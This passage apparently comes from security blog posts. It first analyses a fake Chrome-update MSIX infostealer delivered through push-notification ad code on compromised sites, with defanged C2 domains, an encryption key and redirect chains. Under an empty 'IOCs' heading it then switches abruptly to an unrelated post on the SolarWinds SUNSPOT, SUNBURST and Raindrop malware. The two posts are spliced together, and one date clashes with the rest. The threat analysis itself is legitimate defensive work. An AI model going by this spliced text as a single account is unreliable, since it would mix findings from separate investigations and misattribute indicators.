• Communicates with s1.cleancrack[.]tech and s4.cleancrack[.]tech (both of which resolve to 172.67.187[.]162 and 104.21.92[.]68 at the time of analysis) via AES-encrypted messages with a key of e84ad660c4721ae0e84ad660c4721ae0. The encryption scheme employed appears to be reused code from here.
• Has a PDB path of E:\msix\ChromeRceADMIN4CB\TorE\obj\Release\TorE.pdb.

Rapid7’s MDR interacted with s4.cleancrack[.]tech and discovered what appears to be a login portal for the attacker to access stolen data.

Source of infection

Rapid7’s MDR observed the execution of chrome.exe just prior to HoxLuSfo.exe spawning the PowerShell command we detected with our alert.

In one of our investigations, our analysis of the user’s Chrome browser history file showed redirects to suspicious domains before initial infection:
hXXps://getredd[.]biz/ →
hXXps://eu.postsupport[.]net →
hXXp://updateslives[.]com/

In another investigation, DNS logs showed a redirect chain that followed a similar pattern:
hXXps://getblackk[.]biz/ →
hXXps://eu.postsupport[.]net →
hXXp://updateslives[.]com/ →
hXXps://chromesupdate[.]com

In the first investigation, the user’s Chrome profile revealed that the site permission settings for a suspicious domain, birchlerarroyo[.]com, were altered just prior to the redirects. Specifically, the user granted permission to the site hosted at birchlerarroyo[.]com to send notifications to the user.

Rapid7’s MDR visited the website hosted at birchlerarroyo[.]com and found that the website presented a browser notification requesting permission to show notifications to the user.

We suspect that the website hosted at birchlerarroyo[.]com was compromised, as its source code contained a reference to a suspicious JavaScript file hosted at fastred[.]biz:

We determined that the JavaScript file hosted at fastred[.]biz was responsible for the notification observed at birchlerarroyo[.]com via the code in Figure 10.

Pivoting off of the string “Код RedPush” within the source code of birchlerarroyo[.]com (see highlighted lines in Figure 9), as well as the workerName and applicationServerKey settings within the JavaScript file in Figure 10, Rapid7’s MDR discovered additional websites containing similar source code: ostoday[.]com and magnetline[.]ru.

Rapid7’s MDR analyzed the websites hosted at each of birchlerarroyo[.]com, ostoday[.]com, and magnetline[.]ru and found that each:

• Displayed the same type of browser notification shown in Figure 8
• Was built using WordPress and employed the same WordPress plugin, “WP Rocket”
• Had source code that referred to similar Javascript files hosted at either fastred[.]biz or clickmatters[.]biz and the JavaScript files had the same applicationServerKey: BIbjCoVklTIiXYjv3Z5WS9oemREJPCOFVHwpAxQphYoA5FOTzG-xOq6GiK31R-NF--qzgT3_C2jurmRX_N6nY4g

• Had source code that contained a similar rbConfig parameter referencing takiparkrb[.]site and a varying rotator value

• Had source code that contained references to either “Код RedPush” (translates to “Redpush code”), “Код РБ” (translates to “CodeRB”), or “Код нативного ПУШа RB” (translates to “Native PUSH code RB”)

Pivoting off of the similar strings of “CodeRB” and “Redpush” within source code led to other findings.

First, Rapid7’s MDR discovered an advertising business, RedPush (see redpush[.]biz). RedPush provides its customers with advertisement code to host on customers’ websites. The code produces pop-up notifications to allow for advertisements to be pushed to users browsing the customers’ websites. RedPush’s customers make a profit based on the number of advertisement clicks generated from their websites that contain RedPush’s code.

Second, Rapid7’s MDR discovered a publication by Malwaretips describing a browser pop-up malware family known as Redpush. Upon visiting a website compromised with Redpush code, the code presents a browser notification requesting permission to send notifications to the user. After the user grants permission, the compromised site appears to gain the ability to push toast notifications, which could range from spam advertisements to notifications for malicious fake software updates. Similar publications by McAfee here and here describe that threat actors have recently been employing toast notifications that advertise fake software updates to trick users into installing malicious Windows applications.

Rapid7’s MDR could not reproduce a push of a malicious software after visiting the compromised website at birchlerarroyo[.]com, possibly for several reasons:

• Notification-enabled sites may send notifications at varying frequencies, as explained here, and varying times of day.
• Malicious packages are known to be selectively pushed to users based on geolocation, as explained here. (Note: Rapid7’s MDR interacted with the website using IP addresses having varying geolocations in North America and Europe.)
• The malware was no longer being served at the time of investigation.

However, the malware delivery techniques described by Malwaretips and McAfee were likely employed to trick the users in our investigations into installing the malware while they were browsing the Internet. As explained in the “Forensic analysis” section, in one of our investigations, there was evidence of an initial toast notification, a fake update masquerade, and installation of a malicious Windows application. Additionally, the grandparent process of the PowerShell command we detected, sihost.exe, indicated to us that the malware may have leveraged the Windows Notification Center during the infection chain.

Forensic analysis

Analysis of the User’s Chrome profile and Microsoft-Windows-PushNotifications-Platform Windows Event Logs suggests that upon the user enabling notifications to be sent from the compromised site at birchlerarroyo[.]com, the user was presented with and cleared a toast notification. We could not determine what the contents of the toast notification were based on available evidence.

Based on our analysis of timestamp evidence, the user was likely directed to each of getredd[.]biz, postsupport[.]net, and updateslives[.]com after clicking the toast notification, and presented a fake update webpage.

Similar to the infection mechanism described by McAfee, the installation path of the malware on disk within C:\Program Files\WindowsApps\ suggests that the users were tricked into installing a malicious Windows application. The Microsoft-Windows-AppXDeploymentServerOperational and Microsoft-Windows-AppxPackagingOperational Windows Event logs contained suspicious entries confirming installation of the malware as a Windows application, as shown in Figures 15-19.

The events in Figures 15-19 illustrate that the malicious Windows application was distributed through the web with App Installer as a MSIX file, oelgfertgokejrgre.msix.

Analysis of oelgfertgokejrgre.msix

Rapid7’s MDR visited chromesupdate[.]com in a controlled environment and discovered that it was hosting a convincing Chrome-update-themed webpage.

The website title, “Google Chrome - Download the Fast, Secure Browser from Google,” was consistent with those we observed of the redirect URLs getredd[.]biz, postsupport[.]net, and updateslives[.]com. The users in our investigations likely arrived at the website in Figure 20 after clicking a malicious toast notification, and proceeded to click the “Install” link presented on the website to initiate the Windows application installation.

The “Install” link presented at the website led to a Windows application installer URL (similar to that seen in Figure 17), which is consistent with MSIX distribution via the web.

Rapid7’s MDR obtained the MSIX file, oelgfertgokejrgre.msix, hosted at chromesupdate[.]com, and confirmed that it was a Windows application package.

Analysis of the contents extracted from oelgfertgokejrgre.msix revealed the following notable characteristics and features:

• Two files, HoxLuSfo.exe and JiLutime.dll, were contained within the HoxLuSfo subdirectory. JiLutime.dll (MD5: 60bb67ebcffed2f406ac741b1083dc80) was a 32-bit Agile .NET obfuscator DLL signed by SecureTeam Software Ltd, likely to (de)obfuscate contents.
• The AppxManifest.xml file contained more references to the Windows application’s masquerade as a Google Chrome update, as well as details related to its package identity and signature.

• The DeroKuilSza.build.appxrecipe file contained strings that referenced a project “DeroKuilSza,” which is likely associated with the malware author.

Our dynamic analysis of oelgfertgokejrgre.msix provided clarity around the malware’s installation process. Detonation of oelgfertgokejrgre.msix caused a Windows App Installer window to appear, which displayed information about a fake Google Chrome update.

The information displayed to the user in Figure 26 is spoofed to masquerade as a legitimate Google Chrome update. The information correlates to the AppxManifest.xml configuration shown in Figure 24.

Once we proceeded with the installation, the MSIX package registered a notification sender via App Installer and immediately presented a notification to launch the fake Google Chrome update.

Since the malicious Windows application package installed by the MSIX file was not hosted on the Microsoft Store, a prompt is presented to enable installation of sideload applications, if not already enabled, to allow for installation of applications from unofficial sources.

The malware needs the enablement of “Sideload apps” to complete its installation.

Pulling off the mask

The malware we summarized in this blog post has several tricks up its sleeve. Its delivery mechanism via an ad service as a Windows application (which does not leave typical web-based download forensic artifacts behind), Windows application installation path, and UAC bypass technique by manipulation of an environment variable and native scheduled task can go undetected by various security solutions or even by a seasoned SOC analyst. Rapid7’s MDR customers can rest assured that, by leveraging our attacker behavior analytics detection methodology, our analysts will detect and respond to this infection chain before the malware can steal valuable data.

IOCs

Two recent developments warrant your attention:

• New in-depth research from CrowdStrike provides technical analysis of the malware—dubbed "SUNSPOT" (the industry is going to run out of stellar-themed names at this rate)—that was used to insert the SUNBURST backdoor into SolarWinds Orion software builds.
• New technical analysis from researchers at Kaspersky discusses their discovery of feature overlap between the SUNBURST malware code and the Kazuar backdoor.

The SUNSPOT build implant

On Monday, Jan. 11, 2021, CrowdStrike’s intelligence team published technical analysis on SUNSPOT, a newly identified type of malware that appears to have been used as part of the SolarWinds supply chain attack. CrowdStrike describes SUNSPOT as “a malicious tool that was deployed into the build environment to inject [the SUNBURST] backdoor into the SolarWinds Orion platform.”

While SUNSPOT infection is part of the attack chain that allows for SUNBURST backdoor compromise, SUNSPOT has distinct host indicators of attack (including executables and related files), artifacts, and TTPs (tactics, techniques, and procedures).

CrowdStrike provides a thorough breakdown of how SUNSPOT operates, including numerous indicators of compromise. Here are the critical highlights:

SUNSPOT’s on-disk executable is named taskhostsvc.exe and has an initial, likely build date of Feb. 20, 2020. It maintains persistence through a scheduled task that executes on boot and has the SeDebugPrivilege grant, which is what enables it to read the memory of other processes.

It uses this privilege to watch for MsBuild.exe (a Visual Studio development component) execution and modifies the target source code before the compiler has a chance to read it. SUNSPOT then looks for a specific Orion software source code component and replaces it with one that will inject SUNBURST during the build process. SUNSPOT also has validation checks to ensure no build errors are triggered during the build process, which helps it escape developer and other detection.

The last half of the CrowdStrike analysis has details on tactics, techniques, and procedures, along with host indicators of attack, ATT&CK framework mappings, and YARA rules specific to SUNSPOT. Relevant indicators have been incorporated into Rapid7's SIEM, InsightIDR, and Managed Detection and Response instances and workflows.

SolarWinds has updated their blog with a reference to this new information on SUNSPOT. Because SUNSPOT, SUNBURST, and related tooling have not been definitively mapped to a known adversary, CrowdStrike has christened the actors responsible for these intrusions “StellarParticle.”

SUNBURST’s Kazuar lineage

Separately, Kaspersky Labs also published technical analysis on Monday, Jan. 11, 2020 that builds a case for a connection between the SUNBURST backdoor and another backdoor called Kazuar. Kazuar, which Palo Alto Networks’ Unit42 team first described in May of 2017 as a “multiplatform espionage backdoor with API access,” is a .NET backdoor that Kaspersky says appears to share several “unusual features” with SUNBURST. (Palo Alto linked Kazuar to the Turla APT group back in 2017, which Kaspersky says their own observations support, too.)

Shared features Kaspersky has identified so far include the use of FNV-1a hashing throughout Kazua and SUNBURST code, a similar algorithm used to generate unique victim identifiers, and customized (thought not exactly the same) implementations of a sleeping algorithm that delays between connections to a C2 server and makes network activity less obvious. Kaspersky has a full, extremely detailed list of similar and different features across both backdoors in their post.

Kaspersky does not definitively state that the two backdoors are the work of the same actor. Instead, they offer five possible explanations for the similarities they’ve identified between Kazuar and SUNBURST. The potential explanations below have been taken directly from their post:

1. Sunburst was developed by the same group as Kazuar.
2. The Sunburst developers adopted some ideas or code from Kazuar, without having a direct connection (they used Kazuar as an inspiration point).
3. Both groups, DarkHalo/UNC2452 and the group using Kazuar, obtained their malware from the same source.
4. Some of the Kazuar developers moved to another team, taking knowledge and tools with them.
5. The Sunburst developers introduced these subtle links as a form of false flag, in order to shift blame to another group.

As Kaspersky notes, the knowledge of a potential lineage connection to Kazaur changes little for defenders, but is worth keeping an eye on, as a confirmed connection may help those in more highly targeted sectors use previous Kazuar detection and prevention methods to enhance their response to the SolarWinds compromise.

Updates

Jan. 19, 2021

On Monday, Jan. 18, 2021, Symantec researchers disclosed findings that point to a new, additional malware component that has been found in select victims associated with the SolarWinds attacks. This new malware backdoor has been christened “Raindrop” (we told you we’d run out of ☀️-themed names) or, more formally, “Backdoor.Raindrop” and is a loader—software that is designed to retrieve additional components for use further attacker operations—that delivers a Cobalt Strike payload.

Raindrop is similar to Teardrop (revealed by FireEye back in December 2020), but appears to be geared toward post-compromise lateral movement, enabling it to spread across a victim’s network. Unlike Teardrop, Symantec has asserted that Raindrop is not being delivered by SUNBURST, but has appeared after a victim has been compromised with SUNBURST.

Symantec chronicles a timeline of many victims, detailing numerous installed components, PowerShell commands, and diverse command and control techniques ranging from HTTP-based interaction to SMB named network pipes. When focusing solely on HTTP interaction, Raindrop shares many features and characteristics with Teardrop, including the HTTP POST form setup used to retrieve components.

Symantec has provided YARA rules and other indicators of compromise (IoCs) that defenders can use to identify older Raindrop activity and detect current use.

Feb. 8, 2021

CISA has released two malware analysis reports related to the SolarWinds attack:

• TEARDROP Malware Analysis Report (MAR-1032011501.v.1)
• SUNBURST Malware Analysis Report (MAR-10318845-1.v.1)

Mar. 4, 2021

FireEye has posted new information on a second-stage backdoor they've named SUNSHUTTLE. They identified the new malware from a post to a public malware repository dating back to August of 2020. SUNSHUTTLE is written in the Go programming language, and "reads an embedded or local configuration file, communicates with a hard-coded command and control (C2) server over HTTPS, and supports commands including remotely uploading its configuration, file upload and download, and arbitrary command execution. Notably, SUNSHUTTLE uses cookie headers to pass values to the C2, and if configured, can select referrers from a list of popular website URLs to help such network traffic “blend in.”"

This is a sophisticated component with modern, refined detection evasion techniques. Full IoCs are available at the FireEye post.

Mar. 10, 2021

CISA, the U.S. Cybersecurity and Infrastructure Agency, released two new resources yesterday to assist organizations in remediating networks affected by the SolarWinds and Active Directory/M365 compromise.

• Remediating Networks Affected by the SolarWinds and Active Directory/M365 Compromise provides guidance to organizations affected by this APT activity. CISA encourages affected critical infrastructure and private sector organizations to review and apply it (in addition to federal agencies).
• CISA Insights: SolarWinds and Active Directory/M365 Compromise: Risk Decisions for Leaders supports executive leaders of affected organizations in understanding the threat, risk, and associated actions they should take in response to the APT activity. The CISA Insights specifically applies to organizations with affected versions of SolarWinds Orion who have evidence of follow-on threat actor activity.